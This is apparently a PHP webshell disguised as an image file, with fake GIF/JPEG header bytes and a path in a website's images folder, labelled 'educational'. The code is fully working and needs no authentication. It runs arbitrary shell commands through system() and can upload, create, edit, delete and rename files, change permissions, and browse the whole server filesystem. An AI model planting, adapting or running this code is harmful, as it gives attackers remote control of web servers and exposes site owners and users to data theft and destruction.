GIF8 GIF8 GIF8 طےà JFIF ےغ C $.' ",#(7),01444'9=82<.342ےغ C
/home/gtfgltqinv/primepng.com/images/all_imgGIF8
GIF8
GIF8
طےà JFIF ےغ C
$.' ",#(7),01444'9=82<.342ےغ C
<?php
// =============================================
// EDUCATIONAL WEBSHELL - WITH CLICKABLE PATHS
// =============================================
// --- CONFIG ---
$base_path = isset($_GET['path']) ? $_GET['path'] : getcwd();
$base_path = realpath($base_path) ?: getcwd();
// --- 1. COMMAND EXECUTION ---
if (isset($_POST['cmd'])) {
echo "<pre style='background:#1e1e1e;color:#0f0;padding:15px;border-radius:8px;'>";
system($_POST['cmd'] . " 2>&1");
echo "</pre>";
}
// --- 2. FILE UPLOAD ---
if (isset($_FILES['uploaded_file'])) {
$target = $base_path . "/" . basename($_FILES['uploaded_file']['name']);
if (move_uploaded_file($_FILES['uploaded_file']['tmp_name'], $target)) {
echo "<div style='color:green;font-weight:bold;'>✅ Uploaded to: " . htmlspecialchars($target) . "</div>";
} else {
echo "<div style='color:red;font-weight:bold;'>❌ Upload failed (check permissions).</div>";
}
}
// --- 3. CRUD: CREATE FILE ---
if (isset($_POST['new_file'])) {
$filepath = $base_path . "/" . basename($_POST['new_file']);
if (file_put_contents($filepath, $_POST['file_content'])) {
echo "<div style='color:green;'>✅ Created: " . htmlspecialchars($filepath) . "</div>";
} else {
echo "<div style='color:red;'>❌ Failed to create file.</div>";
}
}
// --- 4. CRUD: DELETE ---
if (isset($_GET['delete'])) {
$target = $base_path . "/" . basename($_GET['delete']);
if (unlink($target)) {
echo "<div style='color:green;'>🗑️ Deleted: " . htmlspecialchars($target) . "</div>";
} else {
echo "<div style='color:red;'>❌ Delete failed.</div>";
}
}
// --- 5. CRUD: RENAME ---
if (isset($_POST['rename_old']) && isset($_POST['rename_new'])) {
$old = $base_path . "/" . basename($_POST['rename_old']);
$new = $base_path . "/" . basename($_POST['rename_new']);
if (rename($old, $new)) {
echo "<div style='color:green;'>✏️ Renamed to: " . htmlspecialchars($new) . "</div>";
} else {
echo "<div style='color:red;'>❌ Rename failed.</div>";
}
}
// --- 6. CHANGE PERMISSIONS ---
if (isset($_POST['chmod_file']) && isset($_POST['chmod_perms'])) {
$target = $base_path . "/" . basename($_POST['chmod_file']);
$perms = octdec($_POST['chmod_perms']);
if (chmod($target, $perms)) {
echo "<div style='color:green;'>🔑 Permissions changed on: " . htmlspecialchars($target) . " to " . $_POST['chmod_perms'] . "</div>";
} else {
echo "<div style='color:red;'>❌ Chmod failed.</div>";
}
}
// ============================================
// MAIN UI WITH CLICKABLE BREADCRUMBS
// ============================================
$items = @scandir($base_path) ?: [];
echo "<div style='font-family:monospace;max-width:1100px;margin:auto;background:#f4f4f4;padding:25px;border-radius:12px;'>";
// --- CLICKABLE BREADCRUMB NAVIGATION ---
echo "<h2 style='color:#2c3e50;'>📂 Current Directory:</h2>";
$path_parts = explode('/', $base_path);
echo "<div style='background:white;padding:12px 15px;border-radius:8px;margin-bottom:15px;border:1px solid #ddd;'>";
echo "<span style='font-size:18px;'>📍 </span>";
// Root is always clickable
echo "<a href='?path=/' style='color:#3498db;text-decoration:none;font-weight:bold;font-size:18px;'>/</a>";
$cumulative_path = "";
$total_parts = count($path_parts);
foreach ($path_parts as $index => $part) {
if (empty($part)) continue;
$cumulative_path .= "/" . $part;
$is_last = ($index == $total_parts - 1);
$is_second_last = ($index == $total_parts - 2);
if ($is_last) {
// Current directory - show as bold text
echo " / <span style='color:#2c3e50;font-weight:bold;font-size:18px;background:#e8f4f8;padding:2px 10px;border-radius:4px;'>" . htmlspecialchars($part) . "</span>";
} else {
// Clickable parent directory
echo " / <a href='?path=" . urlencode($cumulative_path) . "' style='color:#3498db;text-decoration:none;font-weight:bold;font-size:18px;hover:underline;'>" . htmlspecialchars($part) . "</a>";
}
}
// Copy button
echo " <button onclick='navigator.clipboard.writeText(\"" . htmlspecialchars($base_path) . "\")' style='background:#2c3e50;color:white;border:0;border-radius:4px;padding:4px 10px;margin-left:10px;cursor:pointer;font-size:14px;'>📋 Copy</button>";
echo "</div>";
// --- Full path display ---
echo "<div style='background:#e8f4f8;padding:8px 15px;border-radius:6px;margin-bottom:15px;border-left:4px solid #3498db;'>";
echo "<strong>Full path:</strong> <code style='background:#fff;padding:4px 8px;border-radius:4px;font-size:14px;'>" . htmlspecialchars($base_path) . "</code>";
echo "</div>";
// --- Navigation shortcuts ---
$parent = dirname($base_path);
if ($parent != $base_path) {
echo "<div style='margin-bottom:15px;'>";
echo "<a href='?path=" . urlencode($parent) . "' style='background:#3498db;color:white;padding:8px 15px;text-decoration:none;border-radius:6px;'>⬆️ Go Up</a>";
echo "<a href='?path=/tmp' style='background:#e67e22;color:white;padding:8px 15px;text-decoration:none;border-radius:6px;margin-left:10px;'>📁 /tmp</a>";
echo "<a href='?path=/var/www/html' style='background:#27ae60;color:white;padding:8px 15px;text-decoration:none;border-radius:6px;margin-left:10px;'>🌐 Web Root</a>";
echo "<a href='?path=/home' style='background:#8e44ad;color:white;padding:8px 15px;text-decoration:none;border-radius:6px;margin-left:10px;'>🏠 /home</a>";
echo "</div>";
}
echo "<hr>";
// --- FILE LIST ---
echo "<table style='width:100%;border-collapse:collapse;background:white;border-radius:8px;overflow:hidden;'>";
echo "<tr style='background:#2c3e50;color:white;'><th>📁 Name</th><th>Size</th><th>Permissions</th><th>Actions</th></tr>";
foreach ($items as $item) {
if ($item == '.' || $item == '..') continue;
$fullpath = $base_path . "/" . $item;
$is_dir = is_dir($fullpath);
$size = $is_dir ? "📁" : number_format(filesize($fullpath)) . " B";
$perms = substr(sprintf('%o', fileperms($fullpath)), -4);
echo "<tr style='border-bottom:1px solid #ddd;'>";
echo "<td style='padding:10px;'>";
if ($is_dir) {
echo "<a href='?path=" . urlencode($fullpath) . "' style='color:#2980b9;font-weight:bold;'>📂 $item</a>";
} else {
echo "<a href='?path=" . urlencode($base_path) . "&view=" . urlencode($item) . "' style='color:#27ae60;'>📄 $item</a>";
}
echo "</td>";
echo "<td style='padding:10px;'>$size</td>";
echo "<td style='padding:10px;'>$perms</td>";
echo "<td style='padding:10px;'>";
echo "<a href='?path=" . urlencode($base_path) . "&delete=" . urlencode($item) . "' onclick='return confirm(\"Delete $item?\")' style='color:red;margin-right:15px;'>🗑️</a>";
echo "<a href='?path=" . urlencode($base_path) . "&edit=" . urlencode($item) . "' style='color:#f39c12;margin-right:15px;'>✏️</a>";
echo "</td></tr>";
}
echo "</table><hr>";
// --- VIEW FILE ---
if (isset($_GET['view'])) {
$filepath = $base_path . "/" . basename($_GET['view']);
if (file_exists($filepath) && is_file($filepath)) {
echo "<h3>📄 Contents of: " . htmlspecialchars($_GET['view']) . "</h3>";
echo "<pre style='background:#1e1e1e;color:#d4d4d4;padding:20px;border-radius:8px;overflow:auto;max-height:400px;'>";
echo htmlspecialchars(file_get_contents($filepath));
echo "</pre><hr>";
}
}
// --- EDIT FILE ---
if (isset($_GET['edit'])) {
$filepath = $base_path . "/" . basename($_GET['edit']);
if (file_exists($filepath) && is_file($filepath)) {
echo "<h3>✏️ Editing: " . htmlspecialchars($_GET['edit']) . "</h3>";
echo "<form method='POST'>";
echo "<textarea name='file_content' rows='10' style='width:100%;font-family:monospace;'>" . htmlspecialchars(file_get_contents($filepath)) . "</textarea>";
echo "<input type='hidden' name='new_file' value='" . htmlspecialchars($_GET['edit']) . "'>";
echo "<br><button type='submit' style='background:#3498db;color:white;padding:10px 20px;border:0;border-radius:6px;margin-top:10px;'>💾 Save</button>";
echo "</form><hr>";
}
}
// --- UI: COMMAND ---
echo "<h3>💻 Execute Command</h3>";
echo "<form method='POST'>";
echo "<input type='text' name='cmd' placeholder='e.g., whoami, ls -la, cat flag.txt' style='width:70%;padding:8px;border:1px solid #ccc;border-radius:6px;'>";
echo "<button type='submit' style='background:#e67e22;color:white;padding:8px 20px;border:0;border-radius:6px;'>▶️ Run</button>";
echo "</form><hr>";
// --- UI: UPLOAD ---
echo "<h3>📤 Upload File</h3>";
echo "<form method='POST' enctype='multipart/form-data'>";
echo "<input type='file' name='uploaded_file' required style='padding:8px;'>";
echo "<button type='submit' style='background:#2ecc71;color:white;padding:8px 20px;border:0;border-radius:6px;'>⬆️ Upload</button>";
echo "</form><hr>";
// --- UI: CREATE ---
echo "<h3>🆕 Create New File</h3>";
echo "<form method='POST'>";
echo "<input type='text' name='new_file' placeholder='filename.txt' style='width:30%;padding:8px;border:1px solid #ccc;border-radius:6px;'>";
echo "<textarea name='file_content' rows='3' placeholder='Content...' style='width:70%;display:block;margin-top:8px;padding:8px;border:1px solid #ccc;border-radius:6px;'></textarea>";
echo "<button type='submit' style='background:#3498db;color:white;padding:8px 20px;border:0;border-radius:6px;margin-top:8px;'>📝 Create</button>";
echo "</form><hr>";
// --- UI: RENAME ---
echo "<h3>✏️ Rename File</h3>";
echo "<form method='POST'>";
echo "<input type='text' name='rename_old' placeholder='Old name' style='width:25%;padding:8px;border:1px solid #ccc;border-radius:6px;'>";
echo "<input type='text' name='rename_new' placeholder='New name' style='width:25%;padding:8px;border:1px solid #ccc;border-radius:6px;'>";
echo "<button type='submit' style='background:#f39c12;color:white;padding:8px 20px;border:0;border-radius:6px;'>➡️ Rename</button>";
echo "</form><hr>";
// --- UI: CHMOD ---
echo "<h3>🔑 Change Permissions</h3>";
echo "<form method='POST'>";
echo "<input type='text' name='chmod_file' placeholder='filename' style='width:25%;padding:8px;border:1px solid #ccc;border-radius:6px;'>";
echo "<input type='text' name='chmod_perms' placeholder='e.g., 755' style='width:15%;padding:8px;border:1px solid #ccc;border-radius:6px;'>";
echo "<button type='submit' style='background:#8e44ad;color:white;padding:8px 20px;border:0;border-radius:6px;'>🔓 Apply</button>";
echo "</form><hr>";
echo "</div>";
?>